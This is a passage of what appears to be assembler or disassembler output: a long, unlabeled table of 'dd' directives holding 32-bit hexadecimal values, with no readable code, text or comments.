0B06E46A5h, 0B6734050h dd 20280D48h, 50530198h, 0E621B168h, 29AE2019h, 5F5307BCh dd 6302CB0Ch, 923D2082h, 0E868E005h, 169D0556h, 947DE995h dd 4B90FFB3h, 2C182FC2h, 2D81232h, 6D359D29h, 0EB43487Dh dd 2A4018A0h, 75820C33h, 6062A930h, 60DE06F1h, 9A280C3Ch dd 0BB98793Fh, 0F234F741h, 724EE2C7h, 0CD5A5A9Ch, 36E42FA2h dd 3A66414Bh, 0AF40F4E7h, 0D12B4A28h, 3ECBC424h, 9E7F84C9h dd 0D1285ECFh, 349D0DBBh, 69AC3EADh, 0D3F717EDh, 7AF0608h dd 845AF328h, 5217A02Bh, 27B95113h, 0A85E2DFCh, 426D2586h dd 7894DFB1h, 0EDBCA5FCh, 0E4C5FE0Eh, 31EF065Eh, 2F8E9473h dd 2D3BC2DDh, 0D6BAA7B7h, 84E970F8h, 9F243794h, 762BEA01h dd 25F06B51h, 2F66B5B0h, 0DD2D1698h, 9696719Eh, 512FC25Ch dd 94ECCE77h, 658689EBh, 52508E66h, 0BB4253CAh, 5BDA010Bh dd 68600754h, 9B754F0h, 0D6F75E23h, 0BF89384h, 50495831h dd 0BADBDF5Dh, 4B6807A1h, 0A478D460h, 2834D110h, 2430DDE8h dd 7FB45804h, 0C3275B2Fh, 3102B1E9h, 0F708EDC1h, 4671C0D5h dd 0BFAB000Eh, 2D5DE801h, 2A901409h, 0DA0879BEh, 0CFBE030Ah dd 83FA5210h, 0CE81C360h, 89F62C4h, 0EB2FAF80h, 1F61920h dd 6493BEF2h, 0C75989E8h, 574785B2h, 0A3A78A1h, 138612EDh dd 0A4EF479h, 942A8241h, 7E80A4FCh, 0AE00AC41h, 489A0E3Dh dd 5B16AE23h, 318A019Ch, 2862E9DAh, 0D0B8037Dh, 0D1609437h dd 0D2596A5Bh, 4E29C61Ch, 0BDCC244Dh, 82548D82h, 0E8C3647Eh dd 9D92841Bh, 3E7E5009h, 0F75BC448h, 0B0667079h, 25644B04h dd 0E113AE7Dh, 57DB2157h, 864B5A42h, 2A971A5Ch, 0FCD28BA6h dd 80D396B3h, 936BD4Eh, 9E062030h, 737F45E0h, 28D89002h dd 3FE44F16h, 0DB54AFE9h, 0A85B4ADEh, 0FBF0D91Bh, 0D785BB04h dd 387440FFh, 21B3D95Ch, 4B2562B0h, 4BD5C6C4h, 8875655Dh dd 0CB41DB70h, 0FEC7609h, 8C65BD95h, 37E3DB3Ah, 5ECC984Bh dd 4EF60A40h, 3CFAA4D4h, 154A36F8h, 53E066F8h, 14129768h dd 2CEF6ECFh, 0C5B53B5Ch, 884B39E4h, 924104FDh, 4B6E8961h dd 0A45F5DF5h, 5394F29Ah, 90772BAh, 6D884BDCh, 0B0500963h dd 0EF15487h, 0B1515880h, 0C12F8069h, 3A21F834h, 0D9B611E9h dd 1F701804h, 705181A1h, 0D640D2A1h, 62DA0FEh, 0CE94A826h dd 0C6012859h, 3F9F01D0h, 0C1E97003h, 0A6B72BD8h, 0FE94122Ah dd 270B2ECh, 88D3EE80h, 0C07F5AF0h, 0BD195740h, 0E411F4BAh dd 68CF8A06h, 5142A15Bh, 886853F7h, 0BB3B7576h, 7AA8A7ACh dd 62E6206Ch, 52823150h, 23E86816h, 7B174260h, 0BA2601E7h dd 5540BF39h, 81A93029h, 3CA3F238h, 0E4A30FDh, 4F3B706Ch dd 88F6E8ACh, 0C2273C8Ch, 4F818945h, 572A7D68h, 6F55FE30h dd 0DE1F8BD7h, 833E5642h, 88FA47F6h, 0D097D250h, 2530B1CCh dd 63357E58h, 9BB699Bh, 0F825F89h, 3ED3EB12h, 0D4B0F6AAh dd 0B45AE80Bh, 86A15D5Eh, 0F64DF3C7h, 0D6CFB4E0h, 7E33D19h dd 0F2EB7B0Ch, 0BC96606Fh, 6C3C310Dh, 0D90FC130h, 878221FCh dd 0F00166A9h, 5A42123Fh, 79360A68h, 0C7CC13F9h, 18B6C205h dd 1E5A8772h, 0D957E563h dd 528E8D53h, 0E807552Ch, 31964904h, 9ADB394h, 4F2400E4h dd 5E3C8865h, 4D70ECD1h, 69F25A6Bh, 156BE397h, 7CF954E9h dd 7956817h, 0AF1019F3h, 0CA04EEAh, 0F66F9009h, 2812968Bh dd 0B8E70703h, 0C21B1719h, 9AF5721Ch, 10589BCDh, 4FBB5ED6h dd 0F04019B8h, 0E72D80CDh, 461B0E0Bh, 4B88D95Fh, 59A1AA06h dd 50255476h, 277EF990h, 5F930045h, 532A28AFh, 8202BB22h dd 0DA2440DFh, 14CA9740h, 14760809h, 8EEF5764h, 3DF84EFFh dd 2D40279Ch, 2809E5B4h, 875866E1h, 0ADE2621Ch, 62C4D670h dd 2009C8F8h, 66CEE6DCh, 7EC94AEh, 0D0F9DB80h, 395C8D2Dh dd 28254148h, 5E500705h, 82416083h, 0F6B49E02h, 0B5C27A6h dd 0A0A58959h, 0E916E64Ch, 0C2F6C8D1h, 0BD4AC858h, 0BDC14A69h dd 8000BE8Ah, 99564E6h, 0FC480781h, 0E095347h, 0C7B78E6Fh dd 5B63F828h, 0C281AC5Ah, 0DD76E2FEh, 2575AD10h, 2783158h dd 18A0E910h, 9D4D9C9Dh, 895371E1h, 0FEF56815h, 0E7349F2Dh dd 3456B956h, 0BD91FDE9h, 73146275h, 0C8010288h, 5AB5E364h dd 0ACA385BDh, 0AC8C1379h, 0A013CB82h, 0A9F6BDA9h, 0A6E9E93Eh dd 0F3FE123Ah, 15E9C3B7h, 0E8C9101Fh, 370CDE3Dh, 407A2543h dd 589D010Ah, 6CC2055Eh, 0AE534DCDh, 75E2699Dh, 0BA75FD09h dd 5395DEE5h, 428202AAh, 13C8F371h, 469D2166h, 0C50E20DAh dd 17E55895h, 9A12D768h, 9FCF5967h, 0E94ED00h, 68291EDFh dd 130828D5h, 3CDAA65Ah, 1376F4BFh, 0D6F83125h, 0B8874299h dd 7BB22805h, 809ACC76h, 8A5E09D2h, 0F4EE0C5Fh, 0D784E40Bh dd 75F93B98h, 0A1CDE5C9h, 6EDC0AFh, 0F6D1053Bh, 0A09A08DDh dd 8528F82Ch, 4FB0EB20h, 0E31F445Ch, 30CABF9Eh, 0EE58663Ch dd 235F5286h, 3994C758h, 147496BAh, 2CA0480h, 21AC26F8h dd 0D668896Dh, 812DCEEEh, 61CEFE6Ch, 7B9321E9h, 6DEC7888h dd 0BD7E0FFEh, 0F10992E1h, 0E084A1A2h, 82F6F86Ch, 7DF88850h dd 0D5F604E0h, 5975EFEEh, 0E1E8DF5Bh, 3AB25202h, 7AE0EAD0h dd 634C0CC6h, 9042C27h, 0C4820969h, 2D19F64h, 18C69E52h dd 0B1DBBCE9h, 3124CEBh, 8E013824h, 2B3D6551h, 35BB1883h dd 0C0561DEh, 4CA39A0h, 0F80D17FEh, 0E542B97Ah, 155F06E0h dd 5D9C1FF2h, 42AEBA17h, 5AD18939h, 90B482D7h, 853500E8h dd 70D205C2h, 948840EBh, 296FF65Dh, 0C50D70F3h, 6EE37213h dd 1612F4B0h, 0F3E9F65h, 0B240E21Ah, 0F397E93Fh, 55C7DEBEh dd 8CFE17B4h, 65407C61h, 18D548F7h, 95094D00h, 0EAC14A71h dd 0E71CC09Fh, 7AAF2E5Fh, 105A24A9h, 0F18103CAh, 7A16B958h dd 0FE84B74Ch, 0BCA8139Dh, 4C276900h, 6570BA64h, 25A0415Ch dd 557062DFh, 6812F3C4h, 37AA54BCh, 6BAB2A93h, 0F4B05356h dd 4BE0503Dh, 3919F87Ch, 1C2D101h, 3C91E90Bh, 6AB01D2Fh dd 0BF77D2CAh, 90ADCADh, 830303E2h, 58D0B6D5h, 0E91CD631h dd 0D62F1799h, 6F90720Ah, 0BAB512CCh, 0A468DD0Fh, 0C89F9A72h dd 0AA68DB3Ah, 1F3660A6h, 0BD1BC060h, 377E0CDDh, 77BA1EF6h dd 0CD993051h, 5B5792FAh, 95D033F4h, 0C3C0331Bh, 4C956F68h dd 3FC20F0h, 5800A49Ch, 0E930B728h, 0B9884ACBh, 917684C0h dd 5F1ACAEDh, 84090DFBh, 5C13597Bh, 0C5015C04h, 5D2D4B1Dh dd 219D2B30h, 0F40C31D6h, 5C59B762h, 93107755h, 53F05A7Ah dd 6FC92F4Ah, 0C3141CD6h, 0DF1C6B08h, 3F0F1429h, 919AAB2Bh dd 79339300h, 46903661h, 0E9144571h, 84AFCC59h, 2513A1BFh dd 0DE20279Fh, 0C3C49017h, 0CE1D6693h, 0F3C04B16h, 13FED550h dd 14E09D21h, 599F05ACh, 1A844F87h, 0DF6BB4CBh, 3DBC57FCh dd 18014D16h, 66F36067h, 0E52660h, 50208918h, 2B92DB8h dd 22C0BC4Eh, 977785E9h, 1E9635F9h, 0BEA024EAh, 6B69F728h dd 0EF7C1ED4h, 487E2299h, 0F25AF3C0h, 28B10BEBh, 0AB8250C3h dd 295EF114h, 52CF296Fh, 13229202h, 0DF5E5456h, 3DE91311h dd 18E27E20h, 0D9F2D23h, 1038B87Eh, 8D501020h, 0DF5B6D8h dd 7FFAD501h, 0F50CCD5Ah, 8F0B9A6Ah, 0FEA6ABD5h, 0A6E7A7Ah dd 4B80FB49h, 0E917EB9Eh, 0C1FDE4B3h, 0D95D600Fh, 0ACDA6423h dd 19D2DFBh, 295BFEB7h, 9ADB183Ch, 1EA4EA29h, 0CB434515h dd 53149294h, 9401534Fh, 6D22611Eh, 22755812h, 29B40A3h dd 0D263B70Fh, 4501B883h, 589310F6h, 2C6F2119h, 0E82FC187h dd 0AFA56310h, 9D08C546h, 16933FC0h, 80205BB5h, 0F74F9EAh dd 0C226012Fh, 0C602BD51h, 87092827h, 0CE42CD94h, 1A4411Dh dd 7E33241h, 249C9D47h, 4467892h, 0E9D989B1h, 3C94F122h dd 610AA136h, 36064303h, 0B4CDF6ACh, 0B1519F72h, 0D167BF09h dd 27392832h, 72C61040h, 5A28AF4Dh, 0EAECFA8Dh, 2826C311h dd 569380C2h, 79D404EAh, 0F280165Eh, 0D98609F6h, 0B065A669h dd 955A00Dh, 6C4B7B32h, 90467D9Eh, 5FCDC43Eh, 4EF98EA1h dd 561D3C78h, 0D825CC57h, 120FE62Bh, 650D0358h, 0B8C89237h dd 5E489807h, 0D9AE56EEh, 84156DA8h, 8910B344h, 0C5A9A19h dd 71A6AF68h, 18156264h, 0D0A70C03h, 0EC208BDh, 16CA8058h dd 6150E267h, 0E4FE69EAh, 4C2D2F6h, 0D77423E9h, 9C523398h dd 0B0A29786h, 0B2DD697Ch, 7D73CE4Fh, 0E6DE823Ah, 49123B00h dd 0A13CEA68h, 5027C65h, 2D04E6DAh, 403534CFh, 3E127FA2h dd 7B6689B9h, 0FB319329h, 0BCF2C52Ah, 207FD499h, 657E9118h dd 5BF5B352h, 52B22FE8h, 0AD2A99E4h, 13987D64h, 177499Fh dd 2B488379h, 61458D24h, 7E786859h, 0AA4DA4A6h, 0F1B5E982h dd 3AC6E291h, 3268E602h, 61ED7575h, 789B6806h, 96D925F3h dd 5700E06Eh, 6DFE6852h, 5AE93AA7h, 497A1DDDh, 2D295987h dd 52D9438Bh, 829BE76Bh, 0C6EE953h, 22C6A53h, 9FC2F59Fh dd 41E5D13Fh, 0BF04E75Fh, 443C4804h, 0E90838BBh, 9C4A8409h dd 0EB28D71Eh, 0DAC62D08h, 3FA66EB9h, 48C1C08h, 0EA97D7F7h dd 7AB5B5C7h, 0D97B3DF1h, 2D23E65h, 46F6C50h, 1C3866C7h dd 9204AB10h, 2815697Bh, 1F6EED50h, 8C71DF29h, 0D86FEFBDh dd 35046CC0h, 24FDF3BCh, 28A089FBh, 5A120B04h, 53E22E8Fh dd 0B55444F7h, 12554762h, 68A540C3h, 0E0623A9Fh, 0EB257E5Ch dd 4B1212FEh, 0ED4B7DA9h, 0D5E6C1D5h, 700122h, 0E020E8F6h dd 0F8C59D08h, 0A7560E96h, 0C4B3E375h, 2296680Bh, 69F02966h dd 9954B52Bh, 0DF5B2A28h, 88C5F947h, 0AE12842Bh, 0F955EA12h dd 3B5C3724h, 0C154A195h, 8F86273Dh, 0C7F6540h, 0D8307CE9h dd 0D5895523h, 8D9AE8FCh, 0CE686609h, 0E288DC6Eh, 0C90894A1h dd 0F817DA01h, 23D8B85Ah, 847A5A35h, 3CA019Fh, 7E7043E9h dd 63000F35h, 5ACA280Bh, 0CFF89D01h, 6F5F0881h, 5C896598h dd 0ADEE7A9h, 757DDFh, 7A366F05h, 664E5E10h, 658E62A0h dd 82D621CCh, 0BA7F3CF1h, 27922372h, 0C20F2C12h, 64D127AAh dd 4384E30Ch, 445D64EBh, 0BDD1A0C5h, 63481B09h, 0ED13FD6Fh dd 8C9450F8h, 420977B8h, 7E43E61Ch, 6408A066h, 0AD020E5Fh dd 5EA39430h, 0A1086C75h, 26562F71h, 98803412h, 7987D6F7h dd 6F922AF1h, 0BB660EBCh, 0DD9F70FDh, 0C3FECD3h, 0F30A2E0Eh dd 5650797Eh, 6C0DEDBh, 0E95B5EF1h, 68095D85h, 4885B992h dd 0E4DF270Dh, 0F5C171Dh, 616504BFh, 840501A8h, 57E26330h dd 29874606h, 1F63DBBFh, 6929E60Bh, 6B9A2980h, 52981CEEh dd 2347194Eh, 3B3081D7h, 2C8BA985h, 17AFFD89h, 0A3CD2177h dd 73657E1Bh, 562700FDh dd 266F7CF6h, 0F012588Bh, 0B7533ED1h, 0C3EF8001h, 0EC5BF828h dd 0D625E9C0h, 9FD9DB97h, 0C5CC0BF9h, 0BDA95EB2h, 83D579E2h dd 3BFEE90Ch, 0C2EACB5h, 259AD76h, 0A196DE4Fh, 2E108EA9h dd 1CD335FEh, 0B999980Dh, 18CF036Fh, 70D9CFF2h, 5A322DDh dd 1E68581Ah, 9CD9A83h, 0DA292A24h, 2084F08h, 0F0E685Bh dd 0CA8224F5h, 73EB2D00h, 4FEA170Dh, 0E8256728h, 0FAD8020h dd 36105ABAh, 4821F872h, 908105B8h, 0CE8C9B0h, 0BDF93125h dd 52ACF3A8h, 0E2E9520Bh, 5079FE10h, 1BB7AD14h, 732A2C8Eh dd 2097BF79h, 0B062EF56h, 0F53ECA31h, 1EFDCC12h, 1DE927D2h dd 9191EE70h, 0A59665AFh, 5F59215Ch, 4DE99E60h, 68091D63h dd 0C6B05049h, 0FBACDA97h, 0D1442CBEh, 0A9BD5F90h, 33FE581Bh dd 0B780A012h, 54B11E23h, 0C060C1C4h, 4B440BA0h, 0C4B5BCA7h dd 8003FD70h, 0D382B7F2h, 61B192F5h, 0E6425640h, 509F4C5Eh dd 0BCE8A155h, 9A853FC3h, 0E84AEF44h, 0C9E860Dh, 0F6FA77EDh dd 0EF0ED713h, 5166AB00h, 9D2874B5h, 0D0E848D0h, 61C8C1B5h dd 0AE2AC2Ah, 8BBAD2E9h, 78279082h, 2A07C64h, 0D06742A7h dd 0EB50A57Dh, 0DCBCD9AEh, 1B4CE96Eh, 744E746Eh, 0E0A301C4h dd 2768D1D8h, 0F469A9B5h, 85FCA51Ah, 477F8F5Ah, 5ADBAB27h dd 0A4F304EEh, 0AEA55939h, 8D096484h, 5D36E298h, 95506307h dd 1420ABF9h, 4E277F36h, 0E1C60011h, 91A7DA8h, 32A2E84Fh dd 62783580h, 46C4636Fh, 0DD88C37Eh, 50EAB7E4h, 0AC9316A2h dd 50F04707h, 0E2668h, 35580FE0h, 2CA6471h, 0CB925798h dd 0C85ABEF8h, 51A2F4F8h, 26095540h, 837F8F3Eh, 84568BCFh dd 0C4D8176Ah, 1633ED15h, 86C9FC3Ch, 0C6A18F9h, 0E142ADB1h dd 37640514h, 347F01D9h, 0DDE955D2h, 0E1D07F86h, 1B20D266h dd 295D09F3h, 0CA7C5FFBh, 2F545708h, 3005097Ch, 0A8266F9h dd 6179CA13h, 1B7D5024h, 12F51C84h, 0A95F7F0Dh, 70F7D17Eh dd 0F45E0278h, 0CE08EE35h, 9FF3113h, 0BEF8A89Fh, 66D682DFh dd 0C5284B81h, 0B854C83Fh, 0FEC2C741h, 8716A7E9h, 0EAF62220h dd 0A5362F0h, 2A79D329h, 5DDB6858h, 0FB81B02Bh, 3F7B7D0Dh dd 48E06CF0h, 848403BFh, 814B0010h, 302A47E3h, 3B0C2EBDh dd 4D4ED055h, 0F38062D1h, 0D4CA133Ah, 25CDBB90h, 5E448C09h dd 78EE0888h, 0C2262637h, 0F35E5270h, 0A7013DCDh, 0F905D6E2h dd 49F54A74h, 55AB0920h, 0FFDB83DEh, 4286568Bh, 32F75F76h dd 55A2E20Fh, 60A06167h, 2C15E926h, 3C77FF84h, 2DFAE5C3h dd 0C8DCD965h, 0F2B7193Dh, 0E088C315h, 94319B3Bh, 0F32EC61h dd 0B8FC18Fh, 0D8D3D4C4h, 22F73594h, 0CD1177Eh, 29CDCCD0h dd 0F67ABD95h, 68BCF0A0h, 3A5C5F5Ch, 65DDA6C5h, 0F2F2302Ah dd 0F924D013h, 0C24B1D1Eh, 1C607B4h, 0C2635CB9h, 4849E829h dd 526600DFh, 10B40D50h, 2CEAFDB6h, 4AAD5EDAh, 4202C184h dd 0DD2D9468h, 0E98BD065h, 0D70E62AAh, 7D9A306Ch, 99552027h dd 0B3010C81h, 0D8C63457h, 5B16A3D3h, 0EC503B4h, 1E40BD4h dd 0ED0AF52Fh, 5E9B2008h, 721CF7ECh, 0F044195Fh, 0B20F5262h dd 5AD128E3h, 0CFC14AEAh, 399D3AD3h, 6220B921h, 2F9141B0h dd 67F5059Dh, 0F73E402Fh, 2BCB241Dh, 5D5F7A98h, 5E9BF821h dd 0EA855803h, 0FDFE4182h, 242E21Ch, 0C7DAFF19h, 3B912132h dd 404F8492h, 945E1707h, 0D4B40BD6h, 107FBAD7h, 9954552Bh dd 0BE5660F2h, 8A2E633Dh, 0C702317Bh, 8484759Ch, 68F85EA7h dd 5ED2A9B4h, 0B568A703h, 30AB1069h, 0C9077381h, 0F8619EFh dd 8EAE809Fh, 0BE891EACh, 8D23096Ch, 8FF082E4h, 59B78B92h dd 0D9C04956h, 66BBE85h, 42B176F7h, 0CFF3B7F1h, 26D60A08h dd 0D1180917h, 4EBEFBDBh, 878E1261h, 83CE5429h, 0E96691D7h dd 6A2C6536h, 947FA5F1h, 51AE2C70h, 5A99B904h, 92C248B7h dd 995304BBh, 5B51DC21h, 1B7F295h, 7F882A59h, 510DAE9h dd 0AF8FE80Fh, 0D0896426h, 0B14EC2h, 840FC90Bh, 0E3D2CAEFh dd 49E30E20h, 0D15FC35Dh, 347F9DC5h, 5041F3FDh, 2456D820h dd 25B14EE8h, 945F6C0Bh, 7A062D4Ch, 0C104F251h, 0AC008EFh dd 3CF5F2A4h, 35CF0145h, 0F890BB6Ah, 4F031CDDh, 4028F816h dd 0C33E907h, 0BAE651EFh, 5F6DC91Dh, 18792C6Ah, 36BE650Ch dd 0EEA57256h, 0B5407FADh, 0BBE68180h, 16B80538h, 7FFAF606h dd 0B0C2797h, 512C3A4Fh, 12834D0Ah, 5770EEDFh, 5B1F39C2h dd 8189F86Ah, 0A87CE70Ah, 3598DE20h, 0BCDC487Ah, 690841F2h dd 69D28958h, 0A9514A4Fh, 813BEF89h, 7EFBB626h, 32096A25h dd 0EEB95585h, 42642A31h, 0A19683FCh, 608C355Ch, 0D12925Ch dd 74C04426h, 2411B376h, 1029DF31h, 4E661CC3h, 0ECABF8A7h dd 6177E881h, 0F6CE0A0Fh, 47E46F2Eh, 3FB8FE50h, 0D1E51C8h dd 86571F3Ch, 2E10B7BFh, 0F102CF26h, 2D73BD08h, 33105347h dd 320754Ch, 275C5A4Ch, 109FE7C3h, 15919202h, 0E3C1EAB4h dd 0F86658E1h, 4FA5E909h, 5249D9F1h, 63F82003h, 0EF20EB98h dd 2D5490C4h, 44C92EB7h, 24293A0Bh, 0DD88D400h, 0EAEEE652h dd 1871374h, 2A10215Ah, 65560766h, 0D5F60281h, 2CC1F580h dd 3B0BA261h, 38F27D12h, 685652B0h, 4405394Bh, 10F047E9h dd 22CDB75Ah, 74C7BD0Bh, 0C4E8E753h, 7A9EF17Ch, 15FD6E6h dd 0BB8B415h, 2F3B21AFh, 0E2D3DA44h, 27AD6607h, 9A159E57h dd 0A3B3530Fh, 53B87B0Eh, 91206C3h, 77E13710h, 68C05B2Ch dd 74341128h, 0B95EE92h, 0AEA3F70Dh, 400004EBh, 70356A48h dd 0E4E9D889h, 6699956Bh, 0BBA655BDh, 0DB12D11Eh, 5A04AB80h dd 22DA982Ch, 76307910h, 0DFBBA7E7h, 1A043D03h, 0BF06A096h dd 0AC20CC39h, 0D44016BCh, 2E59AD46h, 6908A559h, 0AC583861h dd 0E6FCD716h, 5E5E7A09h, 8D4F1783h, 82ACA80h, 0A1405126h dd 2F55A42Ah, 0A13A8441h, 0EA2D6E25h, 409E1880h, 0FD29189Dh dd 809C9A2h, 9437C085h, 0DA2EAECFh, 0B39F4F71h, 90662742h dd 819A947Eh, 0B4EC2046h, 2B83CC0Bh, 34ED5829h, 0A2ABE3ACh dd 59551606h, 5A782DE2h, 0BEFB00DCh, 25980A9Fh, 83584E64h dd 0E8121314h, 0C63ABC55h, 28437852h, 2CB05E1h, 140A77C5h dd 0C040D909h, 43829588h, 1EC0CC2Dh, 0B864A2F1h, 0BDDB9A38h dd 8709257Bh, 0BB9B756Eh, 67F9BC31h, 293FEB28h, 0CB042A69h dd 0A2AE5854h, 5AE9C436h, 0E95E01A0h, 17EB1160h, 0D04DB007h dd 0F84E95Ah, 0B562449Fh, 75B1F8E0h, 81DAF19Dh, 11368C68h dd 412C6B5Ah, 516540D2h, 50F1881Ch, 0E347CCDDh, 869A5958h dd 8A546B2Fh, 42A40EBAh, 1C73AE4Dh, 0E923F566h, 0C1211832h dd 4F81A867h, 441DB290h, 47DE786Fh, 0CD1DBEC3h, 0F377F339h dd 0CEAB98AFh, 6C5F6231h, 0E50F5CB6h, 86F0FAEAh, 0E0D75A89h dd 3DA45F05h, 4CFAE913h, 0E553E74Eh, 0E7A786E5h, 6676FE25h dd 5CD9108h, 0AA66E068h, 0E50D5D8Dh, 5A02B2F5h, 0CF1C5257h dd 95390118h, 0E81744C3h, 564E7E9Fh, 0F23FF3A1h, 0E68F8A0Fh dd 0EBD0EC8Bh, 0EB8B924h, 0A7FCDD3Bh, 60C34431h, 0C7FED78Fh dd 5895F780h, 0F65B16F4h, 0E1D3B4D1h, 0CA50FA98h, 0E93CD5DFh dd 93084DDFh, 0EC5C32A1h, 0C34A9DE9h, 774F81DDh, 0F53F311Ch dd 82080497h, 0F24A2489h, 0E8921877h, 525A80C5h, 0AF70B63Ch dd 0D7EFC231h, 0C8BECDB8h, 25336817h, 91C51BB8h, 7A8CAFEAh dd 0AB48FBC2h, 27830995h, 247D2172h, 0A2AF063Ah, 4198D2A5h dd 0BD5B4022h, 0C04B4804h dd 5FEF051Dh, 0D79ACA5Ah, 8C52CB8Ah, 0E8CB183h, 0A9FCC550h dd 0C3868CFFh, 0BB259D9Ch, 0E920C4BEh, 41C4DBABh, 3081B0B4h dd 653B9161h, 0C799EB96h, 0F021D455h, 0B37F4CF7h, 0A12C109Fh dd 0C5685C0Fh, 6995DF38h, 172917D2h, 6263CA3Eh, 0D4F9D5CAh dd 7561EF7Eh, 786B891Ch, 4BE4136Dh, 171032A3h, 0F28004FEh dd 0B5878878h, 5D5BFD32h, 2BE99A81h, 79E66F8Ah, 2DDBC4Bh dd 0DC1D6B2Dh, 0D688F50Ch, 43482F07h, 744B41E9h, 614F7AF7h dd 452D523h, 94F6D8EEh, 0D7CC724Fh, 0E60B5BABh, 0F57A1647h dd 0E2A43DECh, 4AC2C8F4h, 6022541h, 0B440C138h, 46D64ADBh dd 0E4F733ECh, 3CCBE577h, 0A3680B61h, 8E6F5147h, 20C946D7h dd 9B9FA84h, 832DDC58h, 3308717Ch, 0DA30EACCh, 0ACC45FE9h dd 0BF7B03Ch, 31273CD8h, 33BDA401h, 0F5B8FFD2h, 8F70555Eh dd 8414D99Dh, 0EF025468h, 7C42122Dh, 0FC94DF6Fh, 0CED4C725h dd 0DB23B53Ah, 0BD2F5A36h, 3E087129h, 0AD330A2Eh, 0F6EBCB74h dd 7D7B00F1h, 0E281137Ah, 3809751Fh, 0F9F2033Bh, 40335856h dd 4F139C18h, 21AB849h, 0B77DE4EAh, 0E9EA6084h, 0F0BBE3Ch dd 5149C380h, 0C3C66A84h, 7B41B194h, 0BF883BE1h, 99555FDDh dd 10B728A7h, 881E5984h, 1D92E6E1h, 4B035FC0h, 5F560DEFh dd 81521050h, 0E9B53F2Dh, 5CE46D60h, 0FED7F4CBh, 4FB5E420h dd 894E4158h, 0E1CEE97Bh, 88F4666Ch, 4F43F2DEh, 0BF488881h dd 561CA59Dh, 0FD9CCDC2h, 0E59B413Bh, 13A568F0h, 277E97CCh dd 9381A059h, 0E8088298h, 0E8258EF5h, 0F2396147h, 2476F08Eh dd 770FCAA7h, 0F42F47ECh, 58BFDED4h, 8CD24960h, 4FCC8AAFh dd 247BF9E5h, 0CA89A4E2h, 0CE71A163h, 4219D98Eh, 27CCAA40h dd 4F65B16h, 52541C96h, 807C8D01h, 0B16B6FCCh, 4B794AB6h dd 966AD2E4h, 2DC52F00h, 0F5555C42h, 0D698E8E1h, 5B05925Ah dd 2129764Fh, 87562CEEh, 0FD6EC29Fh, 0CC9F8B44h, 930098B9h dd 38D2689h, 0A7B6278h, 72C5F0B7h, 514B3BF9h, 0F91D199h dd 0D1C25B59h, 58CAA41Ah, 695761AEh, 85AB0475h, 342A007Bh dd 291D0D48h, 81439A3Ah, 623735DFh, 177454E9h, 0AC754E68h dd 0FD68DF02h, 487F08A8h, 0CAB70AC1h, 1270D7F6h, 51884042h dd 0F2968651h, 0E241AE62h, 761A288Ah, 843489BFh, 8CFF077Fh dd 5759A69Fh, 5E3A840Ah, 0F1C562BEh, 9E2F4F76h, 0D9E925B8h dd 95735E2h, 0BD1C828Dh, 56F10B85h, 0A17F6E62h, 16B66839h dd 0E90CF463h, 9ED9E33h, 2803518Ah, 5302D8Eh, 0F60E5AFAh dd 0C0381E2Eh, 442F36E3h, 2B4B5C12h, 5356051Dh, 0ED0FEB2Ah dd 9F19ECA9h, 57C23368h, 4D5BDC8Dh, 9B48B2CBh, 295BFD20h dd 3C8BE991h, 0A220AC2Eh, 0B964D52Dh, 73B87427h, 44B6C8F7h dd 8920A0B0h, 90EBE79Dh, 5D0496EFh, 0D418AF16h, 0DB2D0C4Ah dd 8706DC41h, 0D2305201h, 0D5EF187h, 450B62A8h, 58F0AABAh dd 0C989DEB3h, 105FA00Bh, 0BCEA12B4h, 88F44B01h, 694E3A33h dd 6503F417h, 0DB258CCEh, 56A775EFh, 5D9DD7F7h, 0CBBAF7CBh dd 0D75804FAh, 0CFACB4CCh, 7484558Bh, 4A12F6DFh, 984006E1h dd 0E859B1h, 22292D45h, 4EE94F30h, 312400BDh, 0BF522077h dd 301B745h, 5A25C219h, 258DE67Fh, 89E4F6E1h, 474446DDh dd 6E3BE07h, 0D2D56679h, 0E1580392h, 100C245h, 819759CDh dd 2C783EFh, 16D9F37Fh, 5FB4DC48h, 0CE2C1258h, 518EBB8h dd 0F71D3C2h, 0DE35488Ah, 0E942C3E0h, 7CB288C8h, 62DEA32h dd 1ADD7C4Eh, 0EC59DD54h, 61B06C8Ch, 112309C7h, 0B6D64777h dd 5173FD20h, 7DE4DFCBh, 96D12B2Bh, 580A0149h, 612A525Dh dd 307AFD2Dh, 0DB12F7E8h, 0A3A0C2E9h, 0C0833192h, 80EAC108h dd 0B23BFEEh, 27E940FCh, 3456D113h, 298C85C2h, 923D2EF9h dd 99EACA41h, 0D1217A31h, 0E074565Ah, 7EDBEC59h, 0F7E6494Dh dd 201EB90Fh, 2ED75C49h, 7F8F613Dh, 0C9D91B54h, 24CFF930h dd 1F704941h, 0BE0E5E6Dh, 0D0D2F181h, 2031A189h, 0BB0F5376h dd 0B21D8687h, 0F5A87446h, 240B7063h, 0CF971AC1h, 603E906h dd 4DF460B7h, 5A93059h, 0F3BFDF5Ah, 70BC495Fh, 90D6809h dd 0D4307066h, 369A5BEFh, 14476403h, 0F99EBE3h, 9D8AB4E8h dd 6810DDCCh, 0B44C7195h, 3051C12Dh, 6BF2F6C9h, 58E41A74h dd 4D5A21FEh, 0B14E037Ch, 0F76EEAA3h, 4C6C5029h, 9051BB40h dd 689940FDh, 7A17CB7Ch, 0D50F5A26h, 41DC249Fh, 3F6287AFh dd 0C320E922h, 70AF3C76h, 0E5EB7071h, 414E109Eh, 957778EEh dd 0B2816046h, 80E4B0Fh, 3FE98231h, 91D6454h, 205B6088h dd 0C4608F77h, 0C5A392ECh, 8069D299h, 0FE6FB313h, 3E5066C3h dd 0CC5E0A68h, 0C05EB6F2h, 9AEA9798h, 80D995AEh, 1E4110EBh dd 31FCBBB2h, 244CC3Fh, 2FAF785Ah, 46A54E6Fh, 0C4B250E0h dd 0FA57DE05h, 0C525BA75h, 21AC86h, 0F65AF420h, 30EC80DCh dd 0C0E70828h, 854BD7E9h, 6F95FA4Ch, 4043B64Bh, 5CDC97BEh dd 1456095h, 7828B0EAh, 0E06B4AD1h, 6740FC96h, 5E00FC0h dd 77490A34h, 3FF4B02Bh, 7EC5425Ah, 5AE9C29Ch, 0CDB15F68h dd 0FED9F607h, 832180C1h, 0E87CCC88h, 0EE8FC4DBh, 76E997C2h dd 31094FF6h, 0B6945DD0h, 0A69DE595h, 6C5088EEh, 5C5F660Bh dd 0C4B7099Fh, 142E6352h, 0EE23E85h, 7DC40F22h, 4ACDE287h dd 2B8B8306h, 5CA8241Fh, 0DD095222h, 502E396Ch, 21CFF77Ah dd 9CF4BABh, 84B507Fh, 0C32D5B7Dh, 4C6FE36h, 39EF803Dh dd 1E02B2C0h, 9225AFF7h, 0DD4154AAh, 